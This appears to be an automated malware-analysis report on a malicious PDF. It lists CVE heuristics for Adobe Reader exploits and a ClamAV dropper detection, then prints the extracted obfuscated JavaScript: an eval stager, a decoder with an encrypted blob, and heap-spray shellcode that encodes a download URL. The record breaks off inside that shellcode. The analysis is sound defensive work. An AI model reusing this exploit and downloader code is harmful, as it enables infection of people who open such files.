MALICIOUS
570
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.001 Malicious Link
T1204.002 Malicious File
The PDF file contains embedded JavaScript and is flagged for exploiting CVE-2007-5659, which involves the 'collab.collectEmailInfo' function. This indicates an attempt to leverage a known vulnerability for code execution. The presence of U3D content and ClamAV detection further supports its malicious nature. The embedded JavaScript streams, particularly 'legacy_pdfkit_stage_000.js' and 'legacy_pdfkit_stage_001.js', are likely responsible for downloading and executing a second-stage payload.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 14
-
Adobe Reader U3D auto-activated 3D annotation — CVE-2009-3459 critical CVE likely CVE_2009_2990_U3D_AUTOACTIVATEPDF contains a /Subtype /3D annotation that is configured to auto-activate on page view (/3DA <</A /PV /AIS /I>>) alongside a /U3D stream and JavaScript. This is the document shape used by CVE-2009-2990 (Adobe Reader U3D CLODProgressiveMeshDeclaration heap overflow, APSB09-15): the U3D parser runs without any user interaction once the page is rendered, while the accompanying JavaScript prepares a heap-spray to land controlled memory inside the corrupted allocation.
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
Adobe Reader U3D CLODProgressiveMeshDeclaration exploit critical CVE likely CVE_2009_3953PDF combines malformed U3D 3D content with JavaScript/action activation. CVE-2009-3953 is an Adobe Reader/Acrobat U3D CLODProgressiveMeshDeclaration array-boundary vulnerability triggered by malformed U3D data in a PDF.
-
U3D/3D content in PDF — Adobe Reader 3D parser CVE-family indicator high PDF_U3D_CVE_RELATEDPDF contains U3D (Universal 3D) or 3D annotation content — CVE-2011-2462 and CVE-2009-3953 are critical vulnerabilities in Adobe Reader's U3D processing that allow arbitrary code execution. U3D content in PDFs is extremely rare in normal documents.
-
JavaScript action low 4 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Adobe Reader APSB09-15 patch-range version gate (CVE-2009-3459) high CVE likely PDF_JS_ADOBE_APSB09_15_PATCH_GATEPDF JavaScript gates the exploit payload on an Adobe Reader version range that exactly matches the APSB09-15 patch boundary (< 9.2, < 8.1.7, < 7.1.4). That boundary fingerprints the CVE-2009-2990 / CVE-2009-3459 U3D parser vulnerabilities — no benign script tests all three Reader version-points together.
-
Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATEPDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.Matched line in script
var ndHI__XQMXO0 = new Array();var j__S_Yb771D62N2 = 0;var lVM5_DAx = "";function fd_D0_q___48Iij(pCox3v_6Y, f__88j){var aM_M_Qd_UX_q = f__88j.toString();var V_w13_s = "";for(var wLD_e_x = 0; wLD_e_x < aM_M_Qd_UX_q.length; wLD_e_x++) {var kiNkx28ui_a = parseInt(aM_M_Qd_UX_q.substr(wLD_e_x, 1));if (!isNaN(kiNkx28ui_a)) {kiNkx28ui_a = kiNkx28ui_a.toString(16);if (kiNkx28ui_a.length == 1) { kiNkx28ui_a = "0" + kiNkx28ui_a; }else if (kiNkx28ui_a.length != 2) { kiNkx28ui_a = "00"; }V_w13_s = kiNkx28u … -
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
ClamAV: Pdf.Dropper.Agent-7327281-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Pdf.Dropper.Agent-7327281-0
-
Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECTA PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
-
Annotation subject percent-decoding eval stager critical PDF_ANNOT_SUBJECT_MARKER_EVAL_STAGEROpenAction JavaScript forces annotation enumeration, reads an annotation /Subject payload with getAnnots(), rewrites marker bytes into percent escapes, decodes it with unescape(), and dispatches it through eval. This is a high-confidence exploit-kit staging pattern. It is intentionally not mapped to CVE-2009-1492 unless getAnnots() itself carries the crafted integer or long argument shape for that vulnerability.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://aghyjtuaoxk.com/nte/prox.php/yHddfd735fV0100f060006R87006a76102T91f77f9d203l000c Referenced by PDF JavaScript
Extracted artifacts 4
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0007_000.js |
pdf-javascript-stream | PDF /JS object 7 at offset 0x1A4 | 343 bytes |
SHA-256: 1847af0a099665b6ac45af66402e56ed64237a1b287618ee3d6643267fda6f35 |
|||
Preview scriptFirst 1,000 lines of the extracted script
em = ''; r = (r = 'l' + 'a' + em + 'ce', 'rep' + r); if (r && !em) {var z; var y; th = event.target; z = y = th;
y = 0; z['syncAn'+'notS'+'can'] ( ); y = z;var p = y['g'+'et'+'Annots']( { nPage: 0 }) ;var s = p[0].subject;var l = s[r](/k /g, 'q%p'[r](/[qp]/g, ''));s = th['unes' + 'cape'] (l) ;var e = th[em + 'e'+ em + 'v'+'al']; e(s);}
|
|||
legacy_pdfkit_stage_000.js |
deobfuscated-js | repeated-marker hex decoded JavaScript at offset 0x2F7 | 12867 bytes |
SHA-256: 77f6e5eb129bef993f276622468d253d1ce7338a7ed1440b204d0064a5414e84 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function p_HC_btr7uC(I_s24_a_S_5, n_C_rs_8m3A){ var O_8_vaQB__4i27 = 'um' + 'en' + "ts";O_8_vaQB__4i27 = 'a' + 'rg' + O_8_vaQB__4i27;var qv24Kyn_J7 = p_HC_btr7uC[O_8_vaQB__4i27]["c" + "a" + "zzee"['r'+'epl'+'ace'](/zz/, 'll')];qv24Kyn_J7 = qv24Kyn_J7["t"+"oS"+"t"+"r"+"ing"]();var d_vaf_YR7c5_R = 0;try {if (app) {d_vaf_YR7c5_R++;d_vaf_YR7c5_R++;}} catch(e) { }var LXol7LA_uRU = new Array();if (I_s24_a_S_5) { LXol7LA_uRU = I_s24_a_S_5;} else {var Lj15VyaqU = 0;var XI4__q5q8_Oew = 0;var kM_Nuh3d_45_l = 512;var B2eKJ7___7__b = 52;B2eKJ7___7__b = B2eKJ7___7__b - 4;var D12p3_g = B2eKJ7___7__b + 9;while(XI4__q5q8_Oew < qv24Kyn_J7.length) {var NMnwTP = 1;var LV62E3cU = qv24Kyn_J7['c'+'h'+'arC'+'odeAt'](XI4__q5q8_Oew);if (LV62E3cU <= D12p3_g && LV62E3cU >= B2eKJ7___7__b) {if (Lj15VyaqU == 4) { Lj15VyaqU = 0; }if (isNaN(LXol7LA_uRU[Lj15VyaqU])) {LXol7LA_uRU[Lj15VyaqU] = 0;}LXol7LA_uRU[Lj15VyaqU] += LV62E3cU;if (LXol7LA_uRU[Lj15VyaqU] > 512) {LXol7LA_uRU[Lj15VyaqU] -= kM_Nuh3d_45_l;}Lj15VyaqU++;}XI4__q5q8_Oew++;}}Lj15VyaqU = 4;for (var vIQnwY18E = 0; vIQnwY18E < 4; vIQnwY18E++) {if (LXol7LA_uRU[vIQnwY18E] > 256) {LXol7LA_uRU[vIQnwY18E] -= 256;}}var eVpqCq_06_n74 = 0;var d2_ScqCcATv_Y0 = "";var hrd1im75TH72 = 0;var J_47U_y = 0;var r5fF1___N5K;var c16_i8_8Rq = 0;while(hrd1im75TH72 < n_C_rs_8m3A.length) {var V6_NAV_Yw8_51a2 = n_C_rs_8m3A.substr(hrd1im75TH72, 1) + "Z";var Cv5_7p = parseInt(V6_NAV_Yw8_51a2, 16);if (J_47U_y) {r5fF1___N5K += Cv5_7p;if (eVpqCq_06_n74 == 4) {eVpqCq_06_n74 -= 4;}var tX_p_DE_o = r5fF1___N5K;tX_p_DE_o = tX_p_DE_o - (1 + c16_i8_8Rq + 1) * LXol7LA_uRU[eVpqCq_06_n74];if (tX_p_DE_o < 0) { var hL__x__7nhr = 256;tX_p_DE_o = tX_p_DE_o - Math['floor'](tX_p_DE_o / hL__x__7nhr) * 256;}tX_p_DE_o = String['from' + 'CharCode'](tX_p_DE_o);if (d_vaf_YR7c5_R == 2) {d2_ScqCcATv_Y0 += tX_p_DE_o;} else if (d_vaf_YR7c5_R == 1) {d2_ScqCcATv_Y0 += Cv5_7p;} else {d2_ScqCcATv_Y0 += hrd1im75TH72;}eVpqCq_06_n74++;J_47U_y = 0;c16_i8_8Rq++;} else {J_47U_y = 1;r5fF1___N5K = Cv5_7p * 16;}hrd1im75TH72++;};var abcd=0; ;var E1MHjH = this;E1MHjH['ev'+'al'](d2_ScqCcATv_Y0);}
p_HC_btr7uC(0, "46387AA9DEAF58A66F1E7082FD8B6F3570E44847559250EE020199FA582C7BCB31E96893CF4AA35C69C18F08E11796D79E7988B610EBABC3F1A1988D86F0B554145800E9ADABB2BF4B650DDF13E709B4BE070E7D4F9FE04C012E1720647B09FE3ADF38ACDFA303B36FD5313DD0793F4488BF52E26B7151FFB0D045C07D4251992FAC6068E1EB4DFD769E77E9E81D4EF9BF7A9CCB59099755B94AAE62A2A3963447287B08E38B8D9D320193B71FC5889BB13988703C7FCF32EF2798DE5053BB9547E3CCA8D56A083D4C9FF93E0F40FF16B4C6FDF14F4CDED9F5BD1FB598FEE08C1C7B274ECF23FBE8393F5307110500D0B95553B122B36576EF50181E50D36127433C51F7E47371AA6F0C77821492755DAF18564C657DA32102B7AFCD7462A5B448A3685A99148B66767F80F21946AE069E6FD3E23E26E87FC8A4E18091CCA9154B82F117DB03C2D58568F7D2D0B0C0B0B935139122932556EF30E6359F96340739252F91A161F9787905F8391B7C2E50C8B9202E595A51BBFCD466C8A44B20720D77393290463048798D8329E2EB95EEAF88489610BD604FB03A586C99D1AB4D022FBD12CFCC8B9D8D44C4C41573C98B70EFD3623EA6E8FFC824E1009151ECDA3EFEFCB1902CCD3D42A8B86CD05E0913BBDFDAD165440FCEB08CD86360F3E250F0B41E48E7DC031C833F15B11BFC2ED0C83920AE59DA512DBB0F4E40A794331443128506E7B379C975E76E9027645364C3D5943E5E82A415B0CB58B95923BB7526D6BF5AA34AC31D4D7F7A01D2F38BC5A6A6DFAA231AE388B0ACEE82A2C3D4384476EE28A5F8B0DA306FDBE028A616A48640D68D5FAE245FF93D1FE96179E9D0391DE891C46E449C76FE0D7EDE7F4553B7FB50D92D3810BEB98F73818426749436B63D76900830FF406138DCD00763F9AF8D878E5DD650AAF57BAB6650ECA6F5F84B8B1DCFD1AFB27D0DC4B61EBAD48D70E8A51922649048B003BB158F89DFAA3DB7C569923BC03F4B9F15470F6AD1F8AFDAC8D610FDE38FB07AD89573371F7B2F6C35099BCBF20D323F03B106F2579683665B7462E06482025D18378FDA31E82F4A4306D6C07EC08428879FD0A67F3981FC9A1B374375DFE8DD7FF562629FC607EF7449C04AAF536F8F814C2634D2C59BA69DE94F10A59EF975A9719EC3BD153E7CFFE9B1FD02FE8927BA93D9AE16A6C207117851930F4CC5060FF55080E0DA020F16B0E45D2F9C81D6504C2674520595F62EEB4F5E4FFEC2D633CA9603285D15C64E3BCF2E6F4E42A638EED0F852DD9E6E9C8B4FFAA164083DA462A3F78943345CC0F8D69372A2850F8873D97C80468DE7952A195BEB36F6CFA0E69F69B2D433F6F97BD72BBB3D469FD52ED038D21D9EAE1CCB4F3A21A4087D24A69E2A347DF9574334CFE0401C655429FAF6C430D3AB3745592D9B353FE83D3F5562C25F26074F36FCE5AD83D182E75DA0F6657F68AF185A40104650E1BCAF6AAA6B6C9FB608D6A75EA742841D4D7F9D030821A71982A6C7EA27339EC00591EB95A20CEE5CF847B4E9B5FAD6CF6F62F7E2E2DAC980CD64ED88368D0F50EF40EA285080E0C60B1D37DB9053478954FE3D7028331D0580C208303C3F4FF2EFE7189D50335F9426B63837DC307E4484A753D127FF64E4B586A0841BC450A80670AA2180B6750C0229B2DEDFADAFEF442E788ED0A3BF84A626982753A3D13FD31EDC067197A8EC1CDBE7AECF83B94B84EEEB65225C0E2C7898DEC22B44168DB89FEB7667F5F27F05A60A48E2DF1FEB7C8446F824FB00A28D27196210F6105DC3242F1362CD352412367ABDBF6B4D7D32EF3A51DB53703885DE5A0B5A509FEFEF016CD06B23BDA02FACB888C520A1665690A83F0B18CFEB82A6CBD861EDD7AAB06C987163D8B7270281BD38B2EA02D15F3ADDE0F6A5FFA8AF58DA801B86EB6A071BFC2095A238B50DD713C8A59B2F9245F04157E1634E4080E4162555695701F88F378160033A5501925368A53B6F32459081F7E1038EE095966E8B4FFE8F9EC27695216DA36205001983F4CFA0C0DC6514A9BAF684B093AB0CD73F229AD32C01E1DFC15B43B1D2F0D4A86BA03BB25855EEDE230F56FF3682CEC8C42DFBE2A8F9B5D869580E1F4A40961D1EC11416EE608D06FD150147D9B827155967C7346CF54E700A508820E7F9F783D4CF8080BC65F4699AF6647073ABEC971F227A930C01C19FDE5040607700A76A64ED62B8667CC48048FC17BF0AAFBF88B51006CF82008ECD56810CC6262085B635D5F9F7117828B8EC19D2017DAF46DD50478FD018CDEFDAE6A565E0C0F002279EE08A257261081E4200813B5C9CCB471E4F7310B8B0A055815B034B9405C7675EA51C7923418F860C27FF64E4B586A0B62B127C71EF74977950AE7DF50232C512CFCC88DC6F148FA8E4738B6270E98D6E206BA0FDB2EAEA06A498F2E3F000E7AAA86AEF5247D6CC2C2D591533B3DB11085EFBF7C4F5861796973A014D0496FD21981C2F02546621C219013FD6C038145966E8274507302A4076942930473F71F5D56B38CE6F045C78F9648973AF18980A1E87951BF703A0AB623FB6C207AFBF6AA24A962E397FD3420F18A4EC9978D1E74F2CE07EB05AB541A102C5391760B932DEEA010D413A15E20FB8E48C991811874FCC201EB00CD8328F8804DC19E831D7CF9C406E3E124D732387524EBEEE10E91C715DC4C8E639938F2931640280437BD53F854F7E5F8910F5F767CE819096B8610B61680D75AD6F93F7A9443E17AFDCD59DAFB23856B7BFE685C357922FCC61269AE1F9B0FDC8F36782B3ED01DBBCA8E458034930D6F7282752FF24C190230F514DD0C0F9C217A99EFA334617AEFB51C915F0FA304F50C113C34395B3374B7466DC622D014E3D2577AC311E3E3679F9A16B4D7D852D7DA41394906A78F5782B277A6325C1D36CE0A450B37E0BEDA99B903BAF5C66BE88F1EDF3C609AF8B98D8611ACFACC467C18A9ACBF7543E4DBA2CA2CDF8017835F7E2DC93F7A4875E07784FCCD92806302AE19393F3F628EF27D79068F0B27E044B741183450D72AC5DF2203420B205A8289A6008756E0090382EE5FD414272648D13E8E859AAC560588E20C0A566C0446826A5B9A10A011CBDDCA3D1B6A285158CB51278D55783FFA11E656BA203F1D4EDD99258B99A45FDBBAFD230055445E0FE16255906F5878C1DCF2640E79205B21A7961E83545369D2E0EE51032F143444DF6E8F8448AC56D4E9D51A06573F6555E06A59363EB31FC7DC1D280498285EF7B61E4589567880959FE654B64E5C3B4ADB16633787A45AF7B5EA810C52E40C28CF6250693DA806CDDDC231EA06FB96AEE82A2C3C5272865CF3DA2EAEF0E4777B8AED095C5BA8917DD4915D0E91DC5FFDD366973F5C5F52C0199A55BF25D3BBFFA36254C101E80AC5DF2203420B205A8289A6008756E0090382EE5FC454249648DE1E0E351AAC55C8E8920C0A58EC1456C26A5B37008001CBDD9A09B80A2851388891278D55DB2F7CB1E656CD304C0D4EDD99284E49A45C9B87FA830055474B7C8162526D3F5B38C1DC92312E49205B41A7A66E8354D329DFB0EE5DB08F348444DF7E7CB428AC5371C6F51A06572C8243106A593301609FC7DB9A07B408285255196E258953BB6DD60FE654B60E3F5B4ADB76833707A45AE7A60A510C5337495BBF62539C6DA846CDDB152ECA6720594B08668C8F5250050BBEEE5BBC0CD40240DD5E7AB026AC51FD84D2780251DC0021EE6A5A921CC05DC3D9EA75F076285D70845E738551580BA4EDE656151C4C5946DC6961B625A458A3B3ED6F0851541A251D625E450EAB34C9D8920CB615205479A3160A8B50D035BABCEE59BB3E04304CD86E288914AC5FDA02E2360E5FDC1DFACC6A553B0A500BCFD7EA671F64285B4F921131815FA819CE1BE651312A2C2742D7663F3F23A456FF81DA3D045ED40523AB625F9419C852C5D7052B3213205215D47938875EB330D3CAEE582459373E48D69E363532AC5D7603E5240A5DDC3C771A6A53773B8079CBD5BD51B84228595BB07E4F8D508867DCB9E65EBA881C354ED5692D3B01A457AB901D1B005D0402FCC9625A7D57D880C1D4C238BE0120504E824606835CA03ECF88EE560007247C44D46E679460AC5BF1BEA202065BDC0D53086A514646C057C7D39A101710285A47AE9E3D895E887578B7E65D2625DC334AD3767B975FA455A7FE0A390C5AD44138B76258A925C86ECDD2C226EA3F205E3AB046748F5A700C7C06EE542C34F74A40D26E325D0EAC59CDEFF560025A2F17FEC66A5FBF34A095C3D19A40E02E2855708C5E1B85595803A495E65B45444C5146D1666C966DA450C39B9A870859572F44E562566833C85CC9D10245392D205C670B46528B5BB05A77B4EE523B2324684CD03E00A96CAC5AD9DA923E0E5B0C962AB46A5D7B129093CFDF9A3ECF4C28532CBD4E5981575B64B0A3E658CE04FF5F42D276276F8BA45E700A0A45045A07202093625431315B4AC5DED205F51B205D529C692087566368A6A2EE530471445648DE912E885AAC5595C8E55C0A591F43F6B26A5BBA20B061CBDDDD29BB3A28514BD891278D55583F8CB1E6573D231F4D4EDD99253B49A45FABD79A330055275E0FA162556D3FA898C1DFE2640E89205B51EA795E8354D359D2E0EE5DB35F175444DCAE8F8438AC53F499F55A06544F51F5D06A5C8321908FC7DBCA382438285F779941158953886DC8AFE654D96DEF1B4ADB6603A707A45AE7C60A910C52D40958AF6250A94DB886CDDB020F2A4720561DE5491C8F52B0149EEEEE5C1C8D347240DA711AAD96AC51EDD5024802523F605E9E6A57922CC08DC3D9FA35D356285D53C471638551BB5B94EDE653125C4C4946D986015665A458D6E40A2F0850F757650D625E958BC804C9D8B56D260520543703869A8B50B042D7CCEE5A184B34604CD84E386974AC5FD9E2C2560E500C0E4AEC6A556B0A801BCFD7FA63EC04285B2CE24E01815F8809AD8BE650EE6A0C0742D7468F8F23A456AF81CA7D045F0465208B625C6179B812C5D6C21AE263205222A14608875E8090C3CAEE581469041E48D64E766572AC5DA610F2640A5E0C2C56CA6A5367388009CBD5CA021B32285928804E0F8D5D5807D9B9B2B1CE0BDBE9CAB6961FAE66EF054A83EDEF00300716FFD9923D2D476A559EA6018A0E245DE162CF38FA231CC48E3E8B9CF8A269C40C8014C2674520598D547EA275D3DE1E78F3581605B346500873839AB41714F30A24E14230B55DA9B86879A4FF0506AB072883491DB78343E25B40EDED2C4E530097883EBC9C197703DD53028B2B1FFEFF5A9C16D43C8C32FC8BFABBD5FE73D3D9FC054E656131D85BCF3F84F1C0FC2BB7F307468ECFB862F7C0C30B9DC392B6F9048C2D0D000ACA76C1F9845E2674EC8235716688B7114151B4FD2A1B47EBC812F495DD0A98D3C881E690B4F6161D6CB0599F3504E718705BDA78A9028702563C8CB3018419718818EDFAC5814DA6DBD4FA89964D3B0250047B1F8B8D9EFCE4761E5C507AE06B4C207D08F51CDD044F9142FF49A970ECD2F1C0E9CA05DF07A30CF1331077C255C83F13C07285A55D3C39F2A816C034B66028C4E68D106303479848FE41A076EBDAF8C6E8C20CD5B58B92FB36F94CB89342F4F99F6C8BA80D867489DC8E3BDB4738826CD3F236BA22AB0EC98128F68C4BC19C8F1B7CF7C004E30AAB8540026011D88C616D46D5816E2FEB22CAA9F31E0562696FC48CFFB011C457E0A06D8BC5BDBB179088738C24F43C0633D4F50A020D7F2126EF8E26B38D45C0377960FAB404270D763F96767740CF5EEB0A16C2371870B97BF75B44AB55C888A83FAD04EAEED97A69EA96400DE6DBB6C98969E08F3583187EDF192B005CD732FFB9625A30375B309D1546DD1115FB018EDF465B2F808F0F4E88B926636AC82BF0088FC573F4AAFFF08F6102B2BAD07BB3CC0954278550C773F3EA00630545C8377160F2B4BB07947A3A225CE659CC882582C6DA38E1D17567ED9E4B0BEB88D53C0BA2381C394BC33C95B43AFDF3FF5CFB5C17392ECE131F9B6ACDF77FC8273F3DD5E115C0C0EBECD17C16B4E25CFFA89D86352EFE082439E0209B9E003F27F574B0ED9CE41D5C0354BA555DC6261F95C5D30A5D7281F2F365BE8C9AD479441034E63FE654940CD0D9D47538F991CFEAF91D8665B8D8D03D67B51E61F872E6F8FB736D94ED606C267AAA94FECB4ACE267985E500DDF542376E12BA7C2C1E14631E6A3EBDC0665780F1E4D278C0F1DEF34D8FF6D63F8B5F6DDE8DFA462019C40FE3D31EC33181381B811D96C771003C4A629C0604265550C773F37A1F4305877727DE30FE848B78353487B15106090C0725D7660E67038F223681FA4A281DC403EBD7AEBB4D0957E2CE12A2383BA01F9E398DE5064D6D404F6E799A16AC57C42F4D35B0F52F324A9C9DFD0211FE69FDE81D87E50243085FEAA2D5DC4143D225F944CB9D2F450D57E6C616A23C33A41F923200A528F20E6F91285A9D9B1308586F34F620F637F6A70E348101E4C62D6B00A9EF69E66B4BE3FE56899A34AC752848781F12B47D21E70C2CFAC55EDCF82B861AA4D50C5A56A007AB82C9500C0004062BA9DD0E9D47C8146D8785584EB63F141D82E93750DEE31E841DEA64B0D5D3DCF5048F359232B93CD2CF464635900BED65DD571516EA444CA3076D3FD5D3671709126E6DF40F2B35975B251CCA9A2C63B586E93B58D2E3128C11EA69770EA7311A5AA1184D99A86F0A376109ED141F317A0065943FBD83F05FBB8DC70BE8D82E806651C61C8E7B1D51608644ED0D208B21DB1A42C2F83F09C3A5BDF1DF2E64B3F550E20C63FDCA57B10622BF85740F5215716589433E1F0F92DFEA0AE40C035344894E0964231701D5C10217A600CF5B873EA9623689700D6796DCF3D882630DAB9412001C311B5A8DACD5928D59C05A3A0636002B1392F69C0F2AB080D137171B8C80FAA17A4AF4619392D7BE02806302AE19EA21F072FE8E8A6908C40AD3E0F4486175C4E588BED572B102366EE028F50D38F4276A315BF673AA53D592F695F55D1E0EE40DDC28687CF5EE0988CC144AA4A82DC6011F065A708E2CA81AB7C44C6B824BB9B45A839C75866A9B535EFE0AD137975D9A0FBC0A8C4E66C023D88AFE968153DD3E58D8716F84F4D0F9EEBA72AA08F392E5A3896F91EE2F422166D4D4EF6220649D4BE42519F10A3683DE1665D2B63833ED527363F00CFAA6FCE39DF93510792577CAF06874A10585025C0E0AFE67A367B754DF4B18F9013B16D808DCE3A154AC517A6ACDAEC592ADE6DCD6C985A5ED4B028F03DAEE9C7EAC7146F5EF7E2D0AFC07E7E18DB4210D6074CC74617208FB4E0D2F0F0F69AA3664DA676BF0032D86A3F1CC7E64718611B2CADC98F74DD503A5F6C47B66768E1EB4E1A307846E3D9D39C017047487911C3878CC78697608FF46011F02F6825EC8BA7DC4756B7B00FC480638DE7A027217299ED0C2B98C15043A19D27F6BFC0CF6AEF8E30BBB828D06F1CE5A7C6DF104F3A0FDEB08DF56167F1F149F960E864C90206155D570BF0E3BB37C4877E47984FEC19480D");
|
|||
legacy_pdfkit_stage_001.js |
deobfuscated-js | repeated-marker hex decoded JavaScript at offset 0x2F7 | 5369 bytes |
SHA-256: 4f24bad3e44bd3dac134bc573a5ddf7f5d5246c5703d70595cbef40f1ae02b05 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 5 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var ndHI__XQMXO0 = new Array();var j__S_Yb771D62N2 = 0;var lVM5_DAx = "";function fd_D0_q___48Iij(pCox3v_6Y, f__88j){var aM_M_Qd_UX_q = f__88j.toString();var V_w13_s = "";for(var wLD_e_x = 0; wLD_e_x < aM_M_Qd_UX_q.length; wLD_e_x++) {var kiNkx28ui_a = parseInt(aM_M_Qd_UX_q.substr(wLD_e_x, 1));if (!isNaN(kiNkx28ui_a)) {kiNkx28ui_a = kiNkx28ui_a.toString(16);if (kiNkx28ui_a.length == 1) { kiNkx28ui_a = "0" + kiNkx28ui_a; }else if (kiNkx28ui_a.length != 2) { kiNkx28ui_a = "00"; }V_w13_s = kiNkx28ui_a + V_w13_s;}}while(V_w13_s.length < 8) { V_w13_s = "0" + V_w13_s; }var TCt_f_5m = pCox3v_6Y.toString(16);if (TCt_f_5m.length == 1) { TCt_f_5m = "0" + TCt_f_5m; }else if (TCt_f_5m.length != 2) { TCt_f_5m = "00"; }V_w13_s = "3" + TCt_f_5m + "P" + V_w13_s;return V_w13_s;}function s_41UrBG(E2XNGt2__q7x, P__V_0){var K_5p_U5QiF1Pn = new Array("");var i_a8__57W4 = E2XNGt2__q7x;var EoF2_c_q2g;if ((EoF2_c_q2g = E2XNGt2__q7x.lastIndexOf("%u00")) != -1) {if (EoF2_c_q2g + 6 == E2XNGt2__q7x.length) {K_5p_U5QiF1Pn[0] = E2XNGt2__q7x.substr(EoF2_c_q2g + 4, 2);i_a8__57W4 = E2XNGt2__q7x.substring(0, EoF2_c_q2g);}}EoF2_c_q2g = 1;for (wLD_e_x = 0; wLD_e_x < P__V_0.length; wLD_e_x++) {var P35722j5oB_r4O = P__V_0.charCodeAt(wLD_e_x).toString(16);if (P35722j5oB_r4O.length == 1) { P35722j5oB_r4O = "0" + P35722j5oB_r4O; }K_5p_U5QiF1Pn[EoF2_c_q2g] = P35722j5oB_r4O;EoF2_c_q2g++;}wLD_e_x = K_5p_U5QiF1Pn[0].length ? 0 : 1;K_5p_U5QiF1Pn[EoF2_c_q2g] = "00";K_5p_U5QiF1Pn[EoF2_c_q2g + 1] = "00";EoF2_c_q2g += 2;if ((K_5p_U5QiF1Pn.length - wLD_e_x) % 2) {K_5p_U5QiF1Pn[EoF2_c_q2g] = "00";}while(wLD_e_x < K_5p_U5QiF1Pn.length) {i_a8__57W4 += "%u" + K_5p_U5QiF1Pn[wLD_e_x + 1] + K_5p_U5QiF1Pn[wLD_e_x];wLD_e_x += 2;}i_a8__57W4 += "%u0000";return i_a8__57W4;}function GWe7_UgwA84_58(q_EDGI1in_qp1, vm78wA2_F1){while (q_EDGI1in_qp1.length*2<vm78wA2_F1) {q_EDGI1in_qp1 += q_EDGI1in_qp1;}q_EDGI1in_qp1 = q_EDGI1in_qp1.substring(0,vm78wA2_F1/2);return q_EDGI1in_qp1;}function g3e2_5(w_n62c2Bhdh6_q, NPR7_3x1D4_tMs, W_7w___q){var Sis_hn7s1Gw3hYj = 0x0c0c0c0c;var q_EDGI1in_qp1 = unescape(NPR7_3x1D4_tMs);var P__V_0 = fd_D0_q___48Iij(w_n62c2Bhdh6_q, W_7w___q);var cP3aX8_n = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var E2XNGt2__q7x = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%u15e9%u0001%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u00a9%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0093%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u10ec%u0001%u8b00%u83dc%u0cc3%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302%u8043%u003b%ufa75%u7b81%u2efc%u6c64%u756c%u8303%u08eb%u0389%u43c7%u2e04%u6c64%uc66c%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8%u1d75%u016a%ueb83%uc70c%u7203%u6765%uc773%u0443%u7276%u3233%u43c7%u2008%u732d%u5320%u56ff%u5a04%u8359%u04c2%u8041%u003a%u9d75%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%ue6e8%ufffe%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u5070%u7479%u0062%u7468%u7074%u2f3a%u612f%u6867%u6a79%u7574%u6f61%u6b78%u632e%u6d6f%u6e2f%u6574%u702f%u6f72%u2e78%u6870%u2f70%u4879%